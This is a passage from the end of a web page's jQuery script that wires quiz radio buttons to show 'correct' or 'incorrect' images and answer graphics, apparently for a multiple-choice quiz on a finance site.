	});
	
	$( "#radio76" ).on( "click", function() {
		$('#abc71').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc72').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final4.gif' />");
	});
	
	$( "#radio77" ).on( "click", function() {
		$('#abc73').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc74').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final5.gif' />");	
	});
	
	$( "#radio78" ).on( "click", function() {
		$('#abc73').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc74').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final5.gif' />");
	});
	
	$( "#radio79" ).on( "click", function() {
		$('#abc75').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc76').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final6.gif' />");	
	});
	
	$( "#radio80" ).on( "click", function() {
		$('#abc75').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc76').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final6.gif' />");
	});
	
	$( "#radio81" ).on( "click", function() {
		$('#abc77').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc78').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final7.gif' />");		
	});
	
	$( "#radio82" ).on( "click", function() {
		$('#abc77').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc78').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final7.gif' />");
	});
	
	$( "#radio83" ).on( "click", function() {
		$('#abc79').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc80').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final8.gif' />");	
	});
	
	$( "#radio84" ).on( "click", function() {
		$('#abc79').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc80').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final8.gif' />");
	});
	
	$( "#radio85" ).on( "click", function() {
		$('#abc81').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc82').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final9.gif' />");		
	});
	
	$( "#radio86" ).on( "click", function() {
		$('#abc81').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc82').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final9.gif' />");
	});
	
	$( "#radio87" ).on( "click", function() {
		$('#abc83').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/correct.gif' />");
		$('#abc84').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final10.gif' />");	
	});
	
	$( "#radio88" ).on( "click", function() {
		$('#abc83').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/incorrect.gif' />");
		$('#abc84').html("<img src='https://msmoney.com/wp-content/uploads/2016/01/answer_final10.gif' />");
	});
	
});
</script>

</body>
</html>